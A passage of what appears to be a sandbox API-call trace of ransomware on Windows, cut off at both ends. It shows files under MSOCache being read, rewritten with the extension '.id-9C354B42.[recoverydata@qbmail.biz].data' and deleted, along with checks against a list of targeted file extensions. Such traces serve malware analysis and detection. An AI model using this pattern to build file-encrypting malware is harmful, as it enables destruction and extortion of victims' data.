(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0097.450] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0097.450] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0097.450] ReadFile (in: hFile=0x214, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.464] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0097.464] ReadFile (in: hFile=0x214, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.472] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0097.472] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0097.472] ReadFile (in: hFile=0x214, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0097.496] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.496] WriteFile (in: hFile=0x214, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0097.739] SetEndOfFile (hFile=0x214) returned 1 [0097.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0097.744] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0097.744] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0097.745] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0097.745] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0097.746] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0097.747] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0097.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0097.750] CloseHandle (hObject=0x214) returned 1 [0097.750] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.751] lstrlenW (lpString=".doc") returned 4 [0097.751] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString=".docx") returned 5 [0097.751] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0097.751] lstrlenW (lpString=".pdf") returned 4 [0097.751] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString=".xls") returned 4 [0097.751] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString=".xlsx") returned 5 [0097.751] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0097.751] lstrlenW (lpString=".ppt") returned 4 [0097.751] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.751] lstrlenW (lpString=".zip") returned 4 [0097.751] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString=".rar") returned 4 [0097.751] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString=".bz2") returned 4 [0097.751] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0097.751] lstrlenW (lpString=".7z") returned 3 [0097.751] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0097.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.751] lstrlenW (lpString=".dbf") returned 4 [0097.751] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0097.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.752] lstrlenW (lpString=".1cd") returned 4 [0097.752] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0097.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.752] lstrlenW (lpString=".jpg") returned 4 [0097.752] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.752] lstrlenW (lpString=".doc") returned 4 [0097.752] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString=".docx") returned 5 [0097.752] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0097.752] lstrlenW (lpString=".pdf") returned 4 [0097.752] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString=".xls") returned 4 [0097.752] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString=".xlsx") returned 5 [0097.752] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0097.752] lstrlenW (lpString=".ppt") returned 4 [0097.752] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.752] lstrlenW (lpString=".zip") returned 4 [0097.752] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0097.752] lstrlenW (lpString=".rar") returned 4 [0097.752] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0097.753] lstrlenW (lpString=".bz2") returned 4 [0097.753] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0097.753] lstrlenW (lpString=".7z") returned 3 [0097.753] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0097.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.753] lstrlenW (lpString=".dbf") returned 4 [0097.753] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0097.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.753] lstrlenW (lpString=".1cd") returned 4 [0097.753] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0097.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0097.753] lstrlenW (lpString=".jpg") returned 4 [0097.753] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0097.753] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0097.753] lstrlenW (lpString="osetupui.dll") returned 12 [0097.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0097.754] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=191872) returned 1 [0097.754] CloseHandle (hObject=0x214) returned 1 [0097.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0097.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.754] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0097.755] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.755] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.755] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0097.755] GetLastError () returned 0x0 [0097.755] ReadFile (in: hFile=0x214, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x304fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x304fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0098.499] WriteFile (in: hFile=0x190, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x304fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0098.504] ReadFile (in: hFile=0x214, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x304fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x304fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.504] WriteFile (in: hFile=0x190, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x304fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.505] SetEndOfFile (hFile=0x190) returned 1 [0098.505] CloseHandle (hObject=0x190) returned 1 [0098.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.506] SetEndOfFile (hFile=0x214) returned 1 [0098.604] CloseHandle (hObject=0x214) returned 1 [0098.604] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0098.605] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0098.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.606] lstrlenW (lpString=".doc") returned 4 [0098.606] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0098.606] lstrlenW (lpString=".docx") returned 5 [0098.606] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0098.606] lstrlenW (lpString=".pdf") returned 4 [0098.606] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0098.606] lstrlenW (lpString=".xls") returned 4 [0098.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0098.606] lstrlenW (lpString=".xlsx") returned 5 [0098.606] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0098.606] lstrlenW (lpString=".ppt") returned 4 [0098.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0098.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.606] lstrlenW (lpString=".zip") returned 4 [0098.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0098.606] lstrlenW (lpString=".rar") returned 4 [0098.607] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0098.607] lstrlenW (lpString=".bz2") returned 4 [0098.607] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0098.607] lstrlenW (lpString=".7z") returned 3 [0098.607] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0098.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.607] lstrlenW (lpString=".dbf") returned 4 [0098.607] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0098.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.607] lstrlenW (lpString=".1cd") returned 4 [0098.607] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0098.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.607] lstrlenW (lpString=".jpg") returned 4 [0098.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0098.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.608] lstrlenW (lpString=".doc") returned 4 [0098.608] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0098.608] lstrlenW (lpString=".docx") returned 5 [0098.608] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0098.608] lstrlenW (lpString=".pdf") returned 4 [0098.608] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0098.608] lstrlenW (lpString=".xls") returned 4 [0098.608] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0098.608] lstrlenW (lpString=".xlsx") returned 5 [0098.608] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0098.608] lstrlenW (lpString=".ppt") returned 4 [0098.608] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0098.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.608] lstrlenW (lpString=".zip") returned 4 [0098.609] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0098.609] lstrlenW (lpString=".rar") returned 4 [0098.609] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0098.609] lstrlenW (lpString=".bz2") returned 4 [0098.609] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0098.609] lstrlenW (lpString=".7z") returned 3 [0098.609] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0098.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.609] lstrlenW (lpString=".dbf") returned 4 [0098.609] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0098.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.609] lstrlenW (lpString=".1cd") returned 4 [0098.609] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0098.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0098.610] lstrlenW (lpString=".jpg") returned 4 [0098.610] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0098.610] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0098.610] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0098.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0098.611] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=868864) returned 1 [0098.611] CloseHandle (hObject=0x214) returned 1 [0098.611] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0098.611] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0098.611] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0098.611] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.612] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.612] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0098.612] GetLastError () returned 0x0 [0098.612] ReadFile (in: hFile=0x214, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x304fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x304fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0098.641] WriteFile (in: hFile=0x190, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x304fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0099.481] ReadFile (in: hFile=0x214, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x304fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x304fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.481] WriteFile (in: hFile=0x190, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x304fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0099.481] SetEndOfFile (hFile=0x190) returned 1 [0099.482] CloseHandle (hObject=0x190) returned 1 [0099.482] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.482] SetEndOfFile (hFile=0x214) returned 1 [0099.495] CloseHandle (hObject=0x214) returned 1 [0099.495] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.496] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0099.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.496] lstrlenW (lpString=".doc") returned 4 [0099.496] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.496] lstrlenW (lpString=".docx") returned 5 [0099.497] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0099.497] lstrlenW (lpString=".pdf") returned 4 [0099.497] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.497] lstrlenW (lpString=".xls") returned 4 [0099.497] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.497] lstrlenW (lpString=".xlsx") returned 5 [0099.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0099.497] lstrlenW (lpString=".ppt") returned 4 [0099.497] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.497] lstrlenW (lpString=".zip") returned 4 [0099.497] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.497] lstrlenW (lpString=".rar") returned 4 [0099.497] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.497] lstrlenW (lpString=".bz2") returned 4 [0099.497] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.497] lstrlenW (lpString=".7z") returned 3 [0099.497] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.497] lstrlenW (lpString=".dbf") returned 4 [0099.497] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.497] lstrlenW (lpString=".1cd") returned 4 [0099.498] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString=".jpg") returned 4 [0099.498] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString=".doc") returned 4 [0099.498] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString=".docx") returned 5 [0099.498] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0099.498] lstrlenW (lpString=".pdf") returned 4 [0099.498] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.498] lstrlenW (lpString=".xls") returned 4 [0099.498] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.498] lstrlenW (lpString=".xlsx") returned 5 [0099.498] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0099.498] lstrlenW (lpString=".ppt") returned 4 [0099.498] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString=".zip") returned 4 [0099.498] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.498] lstrlenW (lpString=".rar") returned 4 [0099.498] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.498] lstrlenW (lpString=".bz2") returned 4 [0099.498] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString=".7z") returned 3 [0099.498] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString=".dbf") returned 4 [0099.498] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.498] lstrlenW (lpString=".1cd") returned 4 [0099.498] lstrcmpiW (lpString1=".1cd", 